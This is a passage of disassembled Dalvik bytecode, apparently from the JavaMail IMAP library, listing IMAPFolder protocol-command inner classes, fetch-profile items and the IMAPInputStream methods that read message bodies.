00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 3
00000000 iget-object v0, p0, IMAPFolder$12->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 invoke-virtual IMAPProtocol->getQuotaRoot(String)[Quota, p1, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$13
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$quota:Quota
.method constructor <init>(IMAPFolder, Quota)V
.registers 3
00000000 iput-object p1, p0, IMAPFolder$13->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$13->val$quota:Quota
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 3
00000000 iget-object v0, p0, IMAPFolder$13->val$quota:Quota
00000004 invoke-virtual IMAPProtocol->setQuota(Quota)V, p1, v0
0000000A const/4 v0, 0x0
0000000C return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$14
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.method constructor <init>(IMAPFolder)V
.registers 2
00000000 iput-object p1, p0, IMAPFolder$14->this$0:IMAPFolder
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 3
00000000 iget-object v0, p0, IMAPFolder$14->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 invoke-virtual IMAPProtocol->getACL(String)[ACL, p1, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$15
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$name:String
.method constructor <init>(IMAPFolder, String)V
.registers 3
00000000 iput-object p1, p0, IMAPFolder$15->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$15->val$name:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 iget-object v0, p0, IMAPFolder$15->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 iget-object v1, p0, IMAPFolder$15->val$name:String
0000000C invoke-virtual IMAPProtocol->deleteACL(String, String)V, p1, v0, v1
00000012 const/4 v0, 0x0
00000014 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$16
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$name:String
.method constructor <init>(IMAPFolder, String)V
.registers 3
00000000 iput-object p1, p0, IMAPFolder$16->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$16->val$name:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 iget-object v0, p0, IMAPFolder$16->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 iget-object v1, p0, IMAPFolder$16->val$name:String
0000000C invoke-virtual IMAPProtocol->listRights(String, String)[Rights, p1, v0, v1
00000012 move-result-object v0
00000014 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$17
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.method constructor <init>(IMAPFolder)V
.registers 2
00000000 iput-object p1, p0, IMAPFolder$17->this$0:IMAPFolder
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 3
00000000 iget-object v0, p0, IMAPFolder$17->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 invoke-virtual IMAPProtocol->myRights(String)Rights, p1, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$18
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$acl:ACL
.field private final synthetic val$mod:C
.method constructor <init>(IMAPFolder, C, ACL)V
.registers 4
00000000 iput-object p1, p0, IMAPFolder$18->this$0:IMAPFolder
00000004 iput-char p2, p0, IMAPFolder$18->val$mod:C
00000008 iput-object p3, p0, IMAPFolder$18->val$acl:ACL
0000000C invoke-direct Object-><init>()V, p0
00000012 return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 5
00000000 iget-object v0, p0, IMAPFolder$18->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 iget-char v1, p0, IMAPFolder$18->val$mod:C
0000000C iget-object v2, p0, IMAPFolder$18->val$acl:ACL
00000010 invoke-virtual IMAPProtocol->setACL(String, C, ACL)V, p1, v0, v1, v2
00000016 const/4 v0, 0x0
00000018 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$19
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.method constructor <init>(IMAPFolder)V
.registers 2
00000000 iput-object p1, p0, IMAPFolder$19->this$0:IMAPFolder
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 iget-object v0, p0, IMAPFolder$19->this$0:IMAPFolder
00000004 invoke-static IMAPFolder->access$1(IMAPFolder)I, v0
0000000A move-result v0
0000000C if-nez v0, :28
:10
00000010 invoke-virtual IMAPProtocol->idleStart()V, p1
00000016 iget-object v0, p0, IMAPFolder$19->this$0:IMAPFolder
0000001A const/4 v1, 0x1
0000001C invoke-static IMAPFolder->access$2(IMAPFolder, I)V, v0, v1
00000022 sget-object v0, Boolean->TRUE:Boolean
:26
00000026 return-object v0
:28
00000028 iget-object v0, p0, IMAPFolder$19->this$0:IMAPFolder
0000002C iget-object v0, v0, IMAPFolder->messageCacheLock:Object
00000030 invoke-virtual Object->wait()V, v0
:36
00000036 sget-object v0, Boolean->FALSE:Boolean
0000003A goto :26
:3C
0000003C move-exception v0
0000003E goto :36
.catch InterruptedException {:28 .. :36} :3C
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$1
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$lname:String
.method constructor <init>(IMAPFolder, String)V
.registers 3
00000000 iput-object p1, p0, IMAPFolder$1->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$1->val$lname:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 const-string v0, ""
00000004 iget-object v1, p0, IMAPFolder$1->val$lname:String
00000008 invoke-virtual IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$2
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$c:C
.field private final synthetic val$pattern:String
.field private final synthetic val$subscribed:Z
.method constructor <init>(IMAPFolder, Z, C, String)V
.registers 5
00000000 iput-object p1, p0, IMAPFolder$2->this$0:IMAPFolder
00000004 iput-boolean p2, p0, IMAPFolder$2->val$subscribed:Z
00000008 iput-char p3, p0, IMAPFolder$2->val$c:C
0000000C iput-object p4, p0, IMAPFolder$2->val$pattern:String
00000010 invoke-direct Object-><init>()V, p0
00000016 return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 5
00000000 iget-boolean v0, p0, IMAPFolder$2->val$subscribed:Z
00000004 if-eqz v0, :50
:8
00000008 const-string v0, ""
0000000C new-instance v1, StringBuilder
00000010 iget-object v2, p0, IMAPFolder$2->this$0:IMAPFolder
00000014 iget-object v2, v2, IMAPFolder->fullName:String
00000018 invoke-static String->valueOf(Object)String, v2
0000001E move-result-object v2
00000020 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000026 iget-char v2, p0, IMAPFolder$2->val$c:C
0000002A invoke-virtual StringBuilder->append(C)StringBuilder, v1, v2
00000030 move-result-object v1
00000032 iget-object v2, p0, IMAPFolder$2->val$pattern:String
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000003C move-result-object v1
0000003E invoke-virtual StringBuilder->toString()String, v1
00000044 move-result-object v1
00000046 invoke-virtual IMAPProtocol->lsub(String, String)[ListInfo, p1, v0, v1
0000004C move-result-object v0
:4E
0000004E return-object v0
:50
00000050 const-string v0, ""
00000054 new-instance v1, StringBuilder
00000058 iget-object v2, p0, IMAPFolder$2->this$0:IMAPFolder
0000005C iget-object v2, v2, IMAPFolder->fullName:String
00000060 invoke-static String->valueOf(Object)String, v2
00000066 move-result-object v2
00000068 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000006E iget-char v2, p0, IMAPFolder$2->val$c:C
00000072 invoke-virtual StringBuilder->append(C)StringBuilder, v1, v2
00000078 move-result-object v1
0000007A iget-object v2, p0, IMAPFolder$2->val$pattern:String
0000007E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000084 move-result-object v1
00000086 invoke-virtual StringBuilder->toString()String, v1
0000008C move-result-object v1
0000008E invoke-virtual IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000094 move-result-object v0
00000096 goto :4E
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$3
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.method constructor <init>(IMAPFolder)V
.registers 2
00000000 iput-object p1, p0, IMAPFolder$3->this$0:IMAPFolder
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 invoke-virtual IMAPProtocol->isREV1()Z, p1
00000006 move-result v0
00000008 if-eqz v0, :22
:C
0000000C iget-object v0, p0, IMAPFolder$3->this$0:IMAPFolder
00000010 iget-object v0, v0, IMAPFolder->fullName:String
00000014 const-string v1, ""
00000018 invoke-virtual IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
0000001E move-result-object v0
:20
00000020 return-object v0
:22
00000022 const-string v0, ""
00000026 iget-object v1, p0, IMAPFolder$3->this$0:IMAPFolder
0000002A iget-object v1, v1, IMAPFolder->fullName:String
0000002E invoke-virtual IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000034 move-result-object v0
00000036 goto :20
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$4
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$lname:String
.method constructor <init>(IMAPFolder, String)V
.registers 3
00000000 iput-object p1, p0, IMAPFolder$4->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$4->val$lname:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 const-string v0, ""
00000004 iget-object v1, p0, IMAPFolder$4->val$lname:String
00000008 invoke-virtual IMAPProtocol->lsub(String, String)[ListInfo, p1, v0, v1
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$5
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$subscribe:Z
.method constructor <init>(IMAPFolder, Z)V
.registers 3
00000000 iput-object p1, p0, IMAPFolder$5->this$0:IMAPFolder
00000004 iput-boolean p2, p0, IMAPFolder$5->val$subscribe:Z
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 3
00000000 iget-boolean v0, p0, IMAPFolder$5->val$subscribe:Z
00000004 if-eqz v0, :1A
:8
00000008 iget-object v0, p0, IMAPFolder$5->this$0:IMAPFolder
0000000C iget-object v0, v0, IMAPFolder->fullName:String
00000010 invoke-virtual IMAPProtocol->subscribe(String)V, p1, v0
:16
00000016 const/4 v0, 0x0
00000018 return-object v0
:1A
0000001A iget-object v0, p0, IMAPFolder$5->this$0:IMAPFolder
0000001E iget-object v0, v0, IMAPFolder->fullName:String
00000022 invoke-virtual IMAPProtocol->unsubscribe(String)V, p1, v0
00000028 goto :16
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$6
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$sep:C
.field private final synthetic val$type:I
.method constructor <init>(IMAPFolder, I, C)V
.registers 4
00000000 iput-object p1, p0, IMAPFolder$6->this$0:IMAPFolder
00000004 iput p2, p0, IMAPFolder$6->val$type:I
00000008 iput-char p3, p0, IMAPFolder$6->val$sep:C
0000000C invoke-direct Object-><init>()V, p0
00000012 return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 iget v0, p0, IMAPFolder$6->val$type:I
00000004 and-int/lit8 v0, v0, 0x1
00000008 if-nez v0, :46
:C
0000000C new-instance v0, StringBuilder
00000010 iget-object v1, p0, IMAPFolder$6->this$0:IMAPFolder
00000014 iget-object v1, v1, IMAPFolder->fullName:String
00000018 invoke-static String->valueOf(Object)String, v1
0000001E move-result-object v1
00000020 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000026 iget-char v1, p0, IMAPFolder$6->val$sep:C
0000002A invoke-virtual StringBuilder->append(C)StringBuilder, v0, v1
00000030 move-result-object v0
00000032 invoke-virtual StringBuilder->toString()String, v0
00000038 move-result-object v0
0000003A invoke-virtual IMAPProtocol->create(String)V, p1, v0
:40
00000040 sget-object v0, Boolean->TRUE:Boolean
00000044 return-object v0
:46
00000046 iget-object v0, p0, IMAPFolder$6->this$0:IMAPFolder
0000004A iget-object v0, v0, IMAPFolder->fullName:String
0000004E invoke-virtual IMAPProtocol->create(String)V, p1, v0
00000054 iget v0, p0, IMAPFolder$6->val$type:I
00000058 and-int/lit8 v0, v0, 0x2
0000005C if-eqz v0, :40
:60
00000060 const-string v0, ""
00000064 iget-object v1, p0, IMAPFolder$6->this$0:IMAPFolder
00000068 iget-object v1, v1, IMAPFolder->fullName:String
0000006C invoke-virtual IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000072 move-result-object v0
00000074 if-eqz v0, :40
:78
00000078 const/4 v1, 0x0
0000007A aget-object v0, v0, v1
0000007E iget-boolean v0, v0, ListInfo->hasInferiors:Z
00000082 if-nez v0, :40
:86
00000086 iget-object v0, p0, IMAPFolder$6->this$0:IMAPFolder
0000008A iget-object v0, v0, IMAPFolder->fullName:String
0000008E invoke-virtual IMAPProtocol->delete(String)V, p1, v0
00000094 new-instance v0, ProtocolException
00000098 const-string v1, "Unsupported type"
0000009C invoke-direct ProtocolException-><init>(String)V, v0, v1
000000A2 throw v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$7
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.method constructor <init>(IMAPFolder)V
.registers 2
00000000 iput-object p1, p0, IMAPFolder$7->this$0:IMAPFolder
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 6
00000000 const/4 v3, 0x0
00000002 const-string v0, ""
00000006 iget-object v1, p0, IMAPFolder$7->this$0:IMAPFolder
0000000A iget-object v1, v1, IMAPFolder->fullName:String
0000000E invoke-virtual IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000014 move-result-object v0
00000016 if-eqz v0, :42
:1A
0000001A aget-object v1, v0, v3
0000001E iget v1, v1, ListInfo->changeState:I
00000022 const/4 v2, 0x1
00000024 if-ne v1, v2, :2E
:28
00000028 sget-object v0, Boolean->TRUE:Boolean
:2C
0000002C return-object v0
:2E
0000002E aget-object v0, v0, v3
00000032 iget v0, v0, ListInfo->changeState:I
00000036 const/4 v1, 0x2
00000038 if-ne v0, v1, :42
:3C
0000003C sget-object v0, Boolean->FALSE:Boolean
00000040 goto :2C
:42
00000042 iget-object v0, p0, IMAPFolder$7->this$0:IMAPFolder
00000046 invoke-static IMAPFolder->access$0(IMAPFolder)Status, v0
0000004C move-result-object v0
0000004E iget v0, v0, Status->recent:I
00000052 if-lez v0, :5C
:56
00000056 sget-object v0, Boolean->TRUE:Boolean
0000005A goto :2C
:5C
0000005C sget-object v0, Boolean->FALSE:Boolean
00000060 goto :2C
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$8
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.method constructor <init>(IMAPFolder)V
.registers 2
00000000 iput-object p1, p0, IMAPFolder$8->this$0:IMAPFolder
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 3
00000000 iget-object v0, p0, IMAPFolder$8->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 invoke-virtual IMAPProtocol->delete(String)V, p1, v0
0000000E sget-object v0, Boolean->TRUE:Boolean
00000012 return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$9
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$f:Folder
.method constructor <init>(IMAPFolder, Folder)V
.registers 3
00000000 iput-object p1, p0, IMAPFolder$9->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$9->val$f:Folder
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 iget-object v0, p0, IMAPFolder$9->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 iget-object v1, p0, IMAPFolder$9->val$f:Folder
0000000C invoke-virtual Folder->getFullName()String, v1
00000012 move-result-object v1
00000014 invoke-virtual IMAPProtocol->rename(String, String)V, p1, v0, v1
0000001A sget-object v0, Boolean->TRUE:Boolean
0000001E return-object v0
.end method
#--------------------------------------------------------------------------------
.class public FetchProfile$Item
.super Object
.source ""
.field public static final CONTENT_INFO:FetchProfile$Item
.field public static final ENVELOPE:FetchProfile$Item
.field public static final FLAGS:FetchProfile$Item
.field private name:String
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, FetchProfile$Item
00000004 const-string v1, "ENVELOPE"
00000008 invoke-direct FetchProfile$Item-><init>(String)V, v0, v1
0000000E sput-object v0, FetchProfile$Item->ENVELOPE:FetchProfile$Item
00000012 new-instance v0, FetchProfile$Item
00000016 const-string v1, "CONTENT_INFO"
0000001A invoke-direct FetchProfile$Item-><init>(String)V, v0, v1
00000020 sput-object v0, FetchProfile$Item->CONTENT_INFO:FetchProfile$Item
00000024 new-instance v0, FetchProfile$Item
00000028 const-string v1, "FLAGS"
0000002C invoke-direct FetchProfile$Item-><init>(String)V, v0, v1
00000032 sput-object v0, FetchProfile$Item->FLAGS:FetchProfile$Item
00000036 return-void
.end method
.method protected constructor <init>(String)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, FetchProfile$Item->name:String
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class public IMAPFolder$FetchProfileItem
.super FetchProfile$Item
.source ""
.field public static final HEADERS:IMAPFolder$FetchProfileItem
.field public static final SIZE:IMAPFolder$FetchProfileItem
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, IMAPFolder$FetchProfileItem
00000004 const-string v1, "HEADERS"
00000008 invoke-direct IMAPFolder$FetchProfileItem-><init>(String)V, v0, v1
0000000E sput-object v0, IMAPFolder$FetchProfileItem->HEADERS:IMAPFolder$FetchProfileItem
00000012 new-instance v0, IMAPFolder$FetchProfileItem
00000016 const-string v1, "SIZE"
0000001A invoke-direct IMAPFolder$FetchProfileItem-><init>(String)V, v0, v1
00000020 sput-object v0, IMAPFolder$FetchProfileItem->SIZE:IMAPFolder$FetchProfileItem
00000024 return-void
.end method
.method protected constructor <init>(String)V
.registers 2
00000000 invoke-direct FetchProfile$Item-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public IMAPInputStream
.super InputStream
.source ""
.field private static final slop:I = 0x40
.field private blksize:I
.field private buf:[B
.field private bufcount:I
.field private bufpos:I
.field private max:I
.field private msg:IMAPMessage
.field private peek:Z
.field private pos:I
.field private readbuf:ByteArray
.field private section:String
.method public constructor <init>(IMAPMessage, String, I, Z)V
.registers 6
00000000 invoke-direct InputStream-><init>()V, p0
00000006 iput-object p1, p0, IMAPInputStream->msg:IMAPMessage
0000000A iput-object p2, p0, IMAPInputStream->section:String
0000000E iput p3, p0, IMAPInputStream->max:I
00000012 iput-boolean p4, p0, IMAPInputStream->peek:Z
00000016 const/4 v0, 0x0
00000018 iput v0, p0, IMAPInputStream->pos:I
0000001C invoke-virtual IMAPMessage->getFetchBlockSize()I, p1
00000022 move-result v0
00000024 iput v0, p0, IMAPInputStream->blksize:I
00000028 return-void
.end method
.method private checkSeen()V
.registers 4
00000000 const/4 v1, 0x1
00000002 iget-boolean v0, p0, IMAPInputStream->peek:Z
00000006 if-eqz v0, :C
:A
0000000A return-void
:C
0000000C iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
00000010 invoke-virtual IMAPMessage->getFolder()Folder, v0
00000016 move-result-object v0
00000018 if-eqz v0, :A
:1C
0000001C invoke-virtual Folder->getMode()I, v0
00000022 move-result v0
00000024 if-eq v0, v1, :A
:28
00000028 iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
0000002C sget-object v1, Flags$Flag->SEEN:Flags$Flag
00000030 invoke-virtual IMAPMessage->isSet(Flags$Flag)Z, v0, v1
00000036 move-result v0
00000038 if-nez v0, :A
:3C
0000003C iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
00000040 sget-object v1, Flags$Flag->SEEN:Flags$Flag
00000044 const/4 v2, 0x1
00000046 invoke-virtual IMAPMessage->setFlag(Flags$Flag, Z)V, v0, v1, v2
:4C
0000004C goto :A
:4E
0000004E move-exception v0
00000050 goto :A
.catch MessagingException {:C .. :4C} :4E
.end method
.method private fill()V
.registers 8
00000000 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000002 iget v0, p0, IMAPInputStream->max:I
00000006 if-eq v0, v3, :2C
:A
0000000A iget v0, p0, IMAPInputStream->pos:I
0000000E iget v1, p0, IMAPInputStream->max:I
00000012 if-lt v0, v1, :2C
:16
00000016 iget v0, p0, IMAPInputStream->pos:I
0000001A if-nez v0, :24
:1E
0000001E invoke-direct IMAPInputStream->checkSeen()V, p0
:24
00000024 const/4 v0, 0x0
00000026 iput-object v0, p0, IMAPInputStream->readbuf:ByteArray
:2A
0000002A return-void
:2C
0000002C iget-object v0, p0, IMAPInputStream->readbuf:ByteArray
00000030 if-nez v0, :4A
:34
00000034 new-instance v0, ByteArray
00000038 iget v1, p0, IMAPInputStream->blksize:I
0000003C add-int/lit8 v1, v1, 0x40
00000040 invoke-direct ByteArray-><init>(I)V, v0, v1
00000046 iput-object v0, p0, IMAPInputStream->readbuf:ByteArray
:4A
0000004A iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
0000004E invoke-virtual IMAPMessage->getMessageCacheLock()Object, v0
00000054 move-result-object v6
00000056 monitor-enter v6
:58
00000058 iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
0000005C invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, v0
00000062 move-result-object v0
00000064 iget-object v1, p0, IMAPInputStream->msg:IMAPMessage
00000068 invoke-virtual IMAPMessage->isExpunged()Z, v1
0000006E move-result v1
00000070 if-eqz v1, :A6
:74
00000074 new-instance v0, MessageRemovedIOException
00000078 const-string v1, "No content for expunged message"
0000007C invoke-direct MessageRemovedIOException-><init>(String)V, v0, v1
00000082 throw v0
:84
00000084 move-exception v0
:86
00000086 invoke-direct IMAPInputStream->forceCheckExpunged()V, p0
0000008C new-instance v1, IOException
00000090 invoke-virtual ProtocolException->getMessage()String, v0
00000096 move-result-object v0
00000098 invoke-direct IOException-><init>(String)V, v1, v0
0000009E throw v1
:A0
000000A0 move-exception v0
000000A2 monitor-exit v6
:A4
000000A4 throw v0
:A6
000000A6 iget-object v1, p0, IMAPInputStream->msg:IMAPMessage
000000AA invoke-virtual IMAPMessage->getSequenceNumber()I, v1
000000B0 move-result v1
000000B2 iget v4, p0, IMAPInputStream->blksize:I
000000B6 iget v2, p0, IMAPInputStream->max:I
000000BA if-eq v2, v3, :DC
:BE
000000BE iget v2, p0, IMAPInputStream->pos:I
000000C2 iget v3, p0, IMAPInputStream->blksize:I
000000C6 add-int/2addr v2, v3
000000C8 iget v3, p0, IMAPInputStream->max:I
000000CC if-le v2, v3, :DC
:D0
000000D0 iget v2, p0, IMAPInputStream->max:I
000000D4 iget v3, p0, IMAPInputStream->pos:I
000000D8 sub-int v4, v2, v3
:DC
000000DC iget-boolean v2, p0, IMAPInputStream->peek:Z
000000E0 if-eqz v2, :11E
:E4
000000E4 iget-object v2, p0, IMAPInputStream->section:String
000000E8 iget v3, p0, IMAPInputStream->pos:I
000000EC iget-object v5, p0, IMAPInputStream->readbuf:ByteArray
000000F0 invoke-virtual/range IMAPProtocol->peekBody(I, String, I, I, ByteArray)BODY, v0 .. v5
:F6
000000F6 move-result-object v0
:F8
000000F8 if-eqz v0, :108
:FC
000000FC invoke-virtual BODY->getByteArray()ByteArray, v0
00000102 move-result-object v0
00000104 if-nez v0, :152
:108
00000108 invoke-direct IMAPInputStream->forceCheckExpunged()V, p0
0000010E new-instance v0, IOException
00000112 const-string v1, "No content"
00000116 invoke-direct IOException-><init>(String)V, v0, v1
0000011C throw v0
:11E
0000011E iget-object v2, p0, IMAPInputStream->section:String
00000122 iget v3, p0, IMAPInputStream->pos:I
00000126 iget-object v5, p0, IMAPInputStream->readbuf:ByteArray
0000012A invoke-virtual/range IMAPProtocol->fetchBody(I, String, I, I, ByteArray)BODY, v0 .. v5
:130
00000130 move-result-object v0
00000132 goto :F8
:134
00000134 move-exception v0
:136
00000136 new-instance v1, FolderClosedIOException
0000013A invoke-virtual FolderClosedException->getFolder()Folder, v0
00000140 move-result-object v2
00000142 invoke-virtual FolderClosedException->getMessage()String, v0
00000148 move-result-object v0
0000014A invoke-direct FolderClosedIOException-><init>(Folder, String)V, v1, v2, v0
00000150 throw v1
:152
00000152 monitor-exit v6
:154
00000154 iget v1, p0, IMAPInputStream->pos:I
00000158 if-nez v1, :162
:15C
0000015C invoke-direct IMAPInputStream->checkSeen()V, p0
:162
00000162 invoke-virtual ByteArray->getBytes()[B, v0
00000168 move-result-object v1
0000016A iput-object v1, p0, IMAPInputStream->buf:[B
0000016E invoke-virtual ByteArray->getStart()I, v0
00000174 move-result v1
00000176 iput v1, p0, IMAPInputStream->bufpos:I
0000017A invoke-virtual ByteArray->getCount()I, v0
00000180 move-result v0
00000182 iget v1, p0, IMAPInputStream->bufpos:I
00000186 add-int/2addr v1, v0
00000188 iput v1, p0, IMAPInputStream->bufcount:I
0000018C iget v1, p0, IMAPInputStream->pos:I
00000190 add-int/2addr v0, v1
00000192 iput v0, p0, IMAPInputStream->pos:I
00000196 goto/16 :2A
.catch ProtocolException {:58 .. :84} :84
.catch FolderClosedException {:58 .. :84} :134
.catchall {:58 .. :84} :A0
.catchall {:86 .. :A4} :A0
.catch ProtocolException {:A6 .. :F6} :84
.catch FolderClosedException {:A6 .. :F6} :134
.catchall {:A6 .. :F6} :A0
.catchall {:FC .. :11E} :A0
.catch ProtocolException {:11E .. :130} :84
.catch FolderClosedException {:11E .. :130} :134
.catchall {:11E .. :130} :A0
.catchall {:136 .. :154} :A0
.end method
.method private forceCheckExpunged()V
.registers 5
00000000 iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->getMessageCacheLock()Object, v0
0000000A move-result-object v1
0000000C monitor-enter v1
:E
0000000E iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
00000012 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, v0
00000018 move-result-object v0
0000001A invoke-virtual IMAPProtocol->noop()V, v0
:20
00000020 monitor-exit v1
:22
00000022 iget-object v0, p0, IMAPInputStream->msg:IMAPMessage
00000026 invoke-virtual IMAPMessage->isExpunged()Z, v0
0000002C move-result v0
0000002E if-eqz v0, :84
:32
00000032 new-instance v0, MessageRemovedIOException
00000036 invoke-direct MessageRemovedIOException-><init>()V, v0
0000003C throw v0
:3E
0000003E move-exception v0
:40
00000040 new-instance v2, FolderClosedIOException
00000044 iget-object v3, p0, IMAPInputStream->msg:IMAPMessage
00000048 invoke-virtual IMAPMessage->getFolder()Folder, v3
0000004E move-result-object v3
00000050 invoke-virtual ConnectionException->getMessage()String, v0
00000056 move-result-object v0
00000058 invoke-direct FolderClosedIOException-><init>(Folder, String)V, v2, v3, v0
0000005E throw v2
:60
00000060 move-exception v0
00000062 monitor-exit v1
:64
00000064 throw v0
:66
00000066 move-exception v0
:68
00000068 new-instance v2, FolderClosedIOException
0000006C invoke-virtual FolderClosedException->getFolder()Folder, v0
00000072 move-result-object v3
00000074 invoke-virtual FolderClosedException->getMessage()String, v0
0000007A move-result-object v0
0000007C invoke-direct FolderClosedIOException-><init>(Folder, String)V, v2, v3, v0
00000082 throw v2
:84
00000084 return-void
:86
00000086 move-exception v0
00000088 goto :20
.catch ConnectionException {:E .. :20} :3E
.catch FolderClosedException {:E .. :20} :66
.catch ProtocolException {:E .. :20} :86
.catchall {:E .. :20} :60
.catchall {:20 .. :22} :60
.catchall {:40 .. :64} :60
.catchall {:68 .. :84} :60
.end method
.method public declared-synchronized available()I
.registers 3
00000000 monitor-enter p0
:2
